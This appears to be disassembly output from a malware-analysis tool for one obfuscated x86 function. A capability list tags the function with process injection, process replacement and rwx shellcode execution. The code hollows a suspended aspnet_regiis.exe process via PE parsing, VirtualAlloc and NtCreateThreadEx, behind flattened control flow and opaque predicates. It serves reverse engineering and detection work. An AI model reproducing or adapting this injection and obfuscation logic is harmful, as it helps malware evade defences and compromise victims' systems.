Function at 0x10006410
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x158
mov eax, dword [0x1006b804]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006ca88]
mov eax, dword [0x1006ca84]
mov edx, ecx
sub edx, 0x6f2e28a0
sub edx, 1
add edx, 0x6f2e28a0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x15a], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x159], al
mov dword [ebp - 0x160], 0x44d61357
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x164], eax
sub eax, 0x8233d979
je 0x1000aee1
jmp 0x1000648b
mov eax, dword [ebp - 0x164]
sub eax, 0x8430fac9
je 0x10008df0
jmp 0x100064a1
mov eax, dword [ebp - 0x164]
sub eax, 0x86dd59d1
je 0x1000b39b
jmp 0x100064b7
mov eax, dword [ebp - 0x164]
sub eax, 0x877cfbd0
je 0x10008450
jmp 0x100064cd
mov eax, dword [ebp - 0x164]
sub eax, 0x8848045e
je 0x10009472
jmp 0x100064e3
mov eax, dword [ebp - 0x164]
sub eax, 0x88931c02
je 0x1000bb2d
jmp 0x100064f9
mov eax, dword [ebp - 0x164]
sub eax, 0x8897e01d
je 0x10008bc1
jmp 0x1000650f
mov eax, dword [ebp - 0x164]
sub eax, 0x88fb0cc2
je 0x1000b78f
jmp 0x10006525
mov eax, dword [ebp - 0x164]
sub eax, 0x89e98904
je 0x1000b829
jmp 0x1000653b
mov eax, dword [ebp - 0x164]
sub eax, 0x8a0be988
je 0x1000a524
jmp 0x10006551
mov eax, dword [ebp - 0x164]
sub eax, 0x8abfe40f
je 0x1000ae3f
jmp 0x10006567
mov eax, dword [ebp - 0x164]
sub eax, 0x8adafbb5
je 0x1000939e
jmp 0x1000657d
mov eax, dword [ebp - 0x164]
sub eax, 0x8c0482df
je 0x1000afcf
jmp 0x10006593
mov eax, dword [ebp - 0x164]
sub eax, 0x8d6875f7
je 0x10009f84
jmp 0x100065a9
mov eax, dword [ebp - 0x164]
sub eax, 0x8df84d36
je 0x10007e4c
jmp 0x100065bf
mov eax, dword [ebp - 0x164]
sub eax, 0x8e26d192
je 0x100095ab
jmp 0x100065d5
mov eax, dword [ebp - 0x164]
sub eax, 0x8ed6104a
je 0x1000a1a7
jmp 0x100065eb
mov eax, dword [ebp - 0x164]
sub eax, 0x9083ceee
je 0x1000961b
jmp 0x10006601
mov eax, dword [ebp - 0x164]
sub eax, 0x90b5475b
je 0x100096db
jmp 0x10006617
mov eax, dword [ebp - 0x164]
sub eax, 0x90fb5393
je 0x100097d4
jmp 0x1000662d
mov eax, dword [ebp - 0x164]
sub eax, 0x92cf3e0e
je 0x1000825c
jmp 0x10006643
mov eax, dword [ebp - 0x164]
sub eax, 0x92d62658
je 0x1000a819
jmp 0x10006659
mov eax, dword [ebp - 0x164]
sub eax, 0x93b0b096
je 0x10008f42
jmp 0x1000666f
mov eax, dword [ebp - 0x164]
sub eax, 0x949296d3
je 0x1000a634
jmp 0x10006685
mov eax, dword [ebp - 0x164]
sub eax, 0x955f4b62
je 0x1000b286
jmp 0x1000669b
mov eax, dword [ebp - 0x164]
sub eax, 0x968003d7
je 0x1000923d
jmp 0x100066b1
mov eax, dword [ebp - 0x164]
sub eax, 0x9821481e
je 0x100092ff
jmp 0x100066c7
mov eax, dword [ebp - 0x164]
sub eax, 0x98b24c5a
je 0x10008ba3
jmp 0x100066dd
mov eax, dword [ebp - 0x164]
sub eax, 0x99a92347
je 0x1000aadf
jmp 0x100066f3
mov eax, dword [ebp - 0x164]
sub eax, 0x9b674be6
je 0x10007a86
jmp 0x10006709
mov eax, dword [ebp - 0x164]
sub eax, 0x9d26358e
je 0x100088c2
jmp 0x1000671f
mov eax, dword [ebp - 0x164]
sub eax, 0x9d718a30
je 0x100084df
jmp 0x10006735
mov eax, dword [ebp - 0x164]
sub eax, 0xa1f003cc
je 0x1000ba49
jmp 0x1000674b
mov eax, dword [ebp - 0x164]
sub eax, 0xa20423d8
je 0x1000a6fa
jmp 0x10006761
mov eax, dword [ebp - 0x164]
sub eax, 0xa22febcf
je 0x10007a51
jmp 0x10006777
mov eax, dword [ebp - 0x164]
sub eax, 0xa24c7423
je 0x1000826b
jmp 0x1000678d
mov eax, dword [ebp - 0x164]
sub eax, 0xa272d937
je 0x1000b6c0
jmp 0x100067a3
mov eax, dword [ebp - 0x164]
sub eax, 0xa30cb015
je 0x1000a709
jmp 0x100067b9
mov eax, dword [ebp - 0x164]
sub eax, 0xa6738992
je 0x1000b209
jmp 0x100067cf
mov eax, dword [ebp - 0x164]
sub eax, 0xa7806b71
je 0x1000820b
jmp 0x100067e5
mov eax, dword [ebp - 0x164]
sub eax, 0xa90943a0
je 0x1000af44
jmp 0x100067fb
mov eax, dword [ebp - 0x164]
sub eax, 0xaa4c1f5b
je 0x10009be7
jmp 0x10006811
mov eax, dword [ebp - 0x164]
sub eax, 0xaae7fb91
je 0x10009bd8
jmp 0x10006827
mov eax, dword [ebp - 0x164]
sub eax, 0xab413413
je 0x10009883
jmp 0x1000683d
mov eax, dword [ebp - 0x164]
sub eax, 0xabb7aa93
je 0x1000ba08
jmp 0x10006853
mov eax, dword [ebp - 0x164]
sub eax, 0xacbd54ea
je 0x10009073
jmp 0x10006869
mov eax, dword [ebp - 0x164]
sub eax, 0xad76b71d
je 0x100091cf
jmp 0x1000687f
mov eax, dword [ebp - 0x164]
sub eax, 0xad76d29f
je 0x1000b7aa
jmp 0x10006895
mov eax, dword [ebp - 0x164]
sub eax, 0xada71910
je 0x10008dd0
jmp 0x100068ab
mov eax, dword [ebp - 0x164]
sub eax, 0xae45ef5d
je 0x1000b771
jmp 0x100068c1
mov eax, dword [ebp - 0x164]
sub eax, 0xaef46db2
je 0x1000a89d
jmp 0x100068d7
mov eax, dword [ebp - 0x164]
sub eax, 0xaf746aaf
je 0x1000ab30
jmp 0x100068ed
mov eax, dword [ebp - 0x164]
sub eax, 0xb13cb7de
je 0x10008528
jmp 0x10006903
mov eax, dword [ebp - 0x164]
sub eax, 0xb2cd345c
je 0x10008c46
jmp 0x10006919
mov eax, dword [ebp - 0x164]
sub eax, 0xb56edc15
je 0x1000b1ea
jmp 0x1000692f
mov eax, dword [ebp - 0x164]
sub eax, 0xb6a7432f
je 0x1000b956
jmp 0x10006945
mov eax, dword [ebp - 0x164]
sub eax, 0xb71927c5
je 0x10009082
jmp 0x1000695b
mov eax, dword [ebp - 0x164]
sub eax, 0xb7f3e677
je 0x1000924c
jmp 0x10006971
mov eax, dword [ebp - 0x164]
sub eax, 0xb81aaa4c
je 0x10009f75
jmp 0x10006987
mov eax, dword [ebp - 0x164]
sub eax, 0xbac4fcdd
je 0x100096ea
jmp 0x1000699d
mov eax, dword [ebp - 0x164]
sub eax, 0xbc7b22f0
je 0x100088ff
jmp 0x100069b3
mov eax, dword [ebp - 0x164]
sub eax, 0xbdce6fa0
je 0x1000bb66
jmp 0x100069c9
mov eax, dword [ebp - 0x164]
sub eax, 0xbf36900f
je 0x1000b218
jmp 0x100069df
mov eax, dword [ebp - 0x164]
sub eax, 0xbfce988c
je 0x100084be
jmp 0x100069f5
mov eax, dword [ebp - 0x164]
sub eax, 0xc0a16ca2
je 0x100086d9
mov dword [ebp - 0x160], 0x222b6632
jmp 0x1000bb70
push eax
mov eax, esp
mov dword [ebp - 0x140], eax
push eax
mov eax, esp
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x160], 0x7be53501
jmp 0x1000bb70
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 0xd8]
sub ecx, 0xfeaa5226
add ecx, eax
add ecx, 0xfeaa5226
mov eax, dword [ebp - 0x150]
mov dword [eax], ecx
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov dword [ebp - 0xd0], eax
mov eax, dword [0x1006ca88]
mov ecx, dword [0x1006ca84]
mov edx, eax
sub edx, 0x199c8fb2
sub edx, 1
add edx, 0x199c8fb2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xad76d29f
mov ecx, 0xe9cd1a93
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000bb70
mov eax, dword [0x1006ca88]
mov ecx, dword [0x1006ca84]
mov edx, eax
sub edx, 0xad0a084c
sub edx, 1
add edx, 0xad0a084c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x354d32a6
mov ecx, 0x92cf3e0e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000bb70
mov dword [ebp - 0x160], 0xa24c7423
jmp 0x1000bb70
mov eax, dword [ebp - 0xc4]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x148]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.1000da60
add esp, 0xc
mov dword [ebp - 0x160], 0x3d2ba5f2
jmp 0x1000bb70
mov ecx, dword [0x1006ca88]
mov eax, dword [0x1006ca84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x244a5b28
mov ecx, 0xbfce988c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000bb70
mov dl, byte [ebp - 0xb9]
mov eax, 0x9d718a30
mov ecx, 0xcef49549
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000bb70
mov eax, dword [ebp - 0x13c]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x160], 0xc3438b03
jmp 0x1000bb70
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 0x144]
mov edx, dword [ebp - 0xb8]
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, eax
mov eax, 0xef6d7de1
mov ecx, 0xd845d821
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000bb70
mov dword [ebp - 0x160], 0x12b8f91f
jmp 0x1000bb70
mov eax, dword [ebp - 0x98]
movzx esi, word [eax + 2]
mov edx, dword [ebp - 0x9c]
mov eax, 0x8897e01d
mov ecx, 0xdf2c2f5a
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000bb70
mov dword [ebp - 0x160], 0x2989b29e
jmp 0x1000bb70
mov eax, dword [ebp - 0x11c]
mov dword [eax], 0
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
add eax, 0x28
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x160], 0x155b9511
jmp 0x1000bb70
mov eax, dword [ebp - 0x7c]
movzx esi, word [eax + 2]
mov edx, dword [ebp - 0x80]
mov eax, 0xce224f5f
mov ecx, 0x7e6b3982
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000bb70
mov edx, dword [ebp - 0x74]
mov esi, dword [ebp - 0x70]
mov eax, 0xb7f3e677
mov ecx, 0x8430fac9
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000bb70
mov ecx, dword [0x1006ca88]
mov eax, dword [0x1006ca84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2fb964a5
mov ecx, 0xe6132ff6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000bb70
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x124]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x114]
imul edx, dword [edx], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x124]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x114]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0xc]
add eax, 0xc92bde8f
sub eax, ecx
sub eax, 0xc92bde8f
mov dword [ebp - 0x68], eax
mov eax, dword [0x1006ca88]
mov ecx, dword [0x1006ca84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1d9b2771
mov ecx, 0x25c29adb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000bb70
mov dword [ebp - 0x160], 0xb71927c5
jmp 0x1000bb70
mov ecx, dword [0x1006ca88]
mov eax, dword [0x1006ca84]
mov edx, ecx
add edx, 0x957bc001
sub edx, 1
sub edx, 0x957bc001
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb56edc15
mov ecx, 0x5803c0a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000bb70
mov ecx, dword [0x1006ca88]
mov eax, dword [0x1006ca84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb56edc15
mov ecx, 0x968003d7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000bb70
mov dword [ebp - 0x160], 0xb7f3e677
jmp 0x1000bb70
mov dword [ebp - 0x160], 0xdc5df5bd
jmp 0x1000bb70
mov ecx, dword [0x1006ca88]
mov eax, dword [0x1006ca84]
mov edx, ecx
add edx, 0x7b1edec4
sub edx, 1
sub edx, 0x7b1edec4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa6738992
mov ecx, 0x430ffb41
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000bb70
mov edx, dword [ebp - 0x64]
mov eax, 0xfc1d4a33
mov ecx, 0x74e3b180
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000bb70
mov eax, dword [0x1006ca88]
mov ecx, dword [0x1006ca84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x35934666
mov ecx, 0xd55d4e8a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000bb70
mov edx, dword [ebp - 0x58]
mov eax, 0x2be7a008
mov ecx, 0x31735d94
cmp dword [edx + 4], 0
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000bb70
mov eax, dword [ebp - 0x11c]
mov ecx, dword [eax]
xor eax, eax
sub eax, 8
sub ecx, eax
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
add ecx, 0xf0501e9a
sub ecx, 8
sub ecx, 0xf0501e9a
shr ecx, 1
mov eax, dword [ebp - 0x108]
mov dword [eax], ecx
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov dword [ebp - 0x50], eax
mov ecx, dword [0x1006ca88]
mov eax, dword [0x1006ca84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3273e2bd
mov ecx, 0x90b5475b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000bb70
mov dword [ebp - 0x160], 0xbac4fcdd
jmp 0x1000bb70
mov ecx, dword [0x1006ca88]
mov eax, dword [0x1006ca84]
mov edx, ecx
sub edx, 0xa171c672
sub edx, 1
add edx, 0xa171c672
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb6a7432f
mov ecx, 0xcd9be89c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000bb70
mov dword [ebp - 0x160], 0x7c438dab
jmp 0x1000bb70
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x11c]
mov ecx, dword [ecx]
mov edx, dword [ecx]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x100]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*2]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x160], 0x4ca22e5b
jmp 0x1000bb70
mov dword [ebp - 0x160], 0xaa4c1f5b
jmp 0x1000bb70
mov ecx, dword [0x1006ca88]
mov eax, dword [0x1006ca84]
mov edx, ecx
add edx, 0x7c9902fd
sub edx, 1
sub edx, 0x7c9902fd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x259dc778
mov ecx, 0xebd583ce
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000bb70
mov dword [ebp - 0x160], 0x8d6875f7
jmp 0x1000bb70
mov ecx, dword [0x1006ca88]
mov eax, dword [0x1006ca84]
mov edx, ecx
sub edx, 0xd8f10169
sub edx, 1
add edx, 0xd8f10169
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x18cdaead
mov ecx, 0x4758541c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000bb70
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov eax, dword [0x1006ca88]
mov ecx, dword [0x1006ca84]
mov edx, eax
sub edx, 0x106172a
sub edx, 1
add edx, 0x106172a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdae7b728
mov ecx, 0xc1285b65
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000bb70
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov edx, dword [eax + 0x34]
xor eax, eax
sub eax, edx
add ecx, eax
mov eax, dword [ebp - 0xec]
mov dword [eax], ecx
mov eax, dword [ebp - 0x134]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
add ecx, 0x6f72bc0
add ecx, eax
sub ecx, 0x6f72bc0
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x148]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xe4]
xor esi, esi
sub esp, 0x2c
mov dword [esp], edx
mov dword [esp + 4], 0x20000000
mov dword [esp + 8], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call sub.ntdll.dll_NtCreateThreadEx
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
mov eax, dword [0x1006ca88]
mov ecx, dword [0x1006ca84]
mov edx, eax
add edx, 0x9728f687
sub edx, 1
sub edx, 0x9728f687
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x18e67039
mov ecx, 0x949296d3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000bb70
mov dword [ebp - 0x160], 0x4875f602
jmp 0x1000bb70
mov dword [ebp - 0x160], 0xa30cb015
jmp 0x1000bb70
mov eax, dword [0x1006ca88]
mov ecx, dword [0x1006ca84]
mov edx, eax
sub edx, 0xab567015
sub edx, 1
add edx, 0xab567015
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa1f003cc
mov ecx, 0x5a66c82d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000bb70
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
mov ecx, dword [0x1006ca88]
mov eax, dword [0x1006ca84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3e98311b
mov ecx, 0xaef46db2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000bb70
mov eax, dword [0x1006ca88]
mov ecx, dword [0x1006ca84]
mov edx, eax
sub edx, 0x46899f18
sub edx, 1
add edx, 0x46899f18
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc9c541b7
mov ecx, 0x79ae05f6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000bb70
mov eax, dword [0x1006ca88]
mov ecx, dword [0x1006ca84]
mov edx, eax
sub edx, 0xbde9b904
sub edx, 1
add edx, 0xbde9b904
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1f7d3060
mov ecx, 0xaf746aaf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000bb70
mov eax, dword [ebp - 0x148]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov eax, dword [0x1006ca88]
mov ecx, dword [0x1006ca84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1f7d3060
mov ecx, 0x4517621b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000bb70
mov eax, dword [0x1006ca88]
mov ecx, dword [0x1006ca84]
mov edx, eax
sub edx, 0x35a197fa
sub edx, 1
add edx, 0x35a197fa
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd156c1a6
mov ecx, 0x8412dac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000bb70
mov eax, dword [0x1006ca88]
mov ecx, dword [0x1006ca84]
mov edx, eax
add edx, 0xdc3f3ba5
sub edx, 1
sub edx, 0xdc3f3ba5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x13c17796
mov ecx, 0x7581d61a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000bb70
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x160], 0xe775282d
jmp 0x1000bb70
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0x14c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x14c]
mov eax, dword [0x1006ca88]
mov ecx, dword [0x1006ca84]
mov edx, eax
add edx, 0x263fc5d8
sub edx, 1
sub edx, 0x263fc5d8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf544468
mov ecx, 0xc507ece4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000bb70
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x68]
add ecx, eax
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov dword [ebp - 0x160], 0x5803c0a
jmp 0x1000bb70
mov dword [ebp - 0x160], 0x9821481e
jmp 0x1000bb70
mov dword [ebp - 0x160], 0x8848045e
jmp 0x1000bb70
mov ecx, dword [0x1006ca88]
mov eax, dword [0x1006ca84]
mov edx, ecx
add edx, 0xa4fec8ed
sub edx, 1
sub edx, 0xa4fec8ed
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc23f5c1b
mov ecx, 0x38a007ef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000bb70
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x160], 0xe73aea17
jmp 0x1000bb70
mov dword [ebp - 0x160], 0x75203c3d
jmp 0x1000bb70
mov dword [ebp - 0x160], 0x8233d979
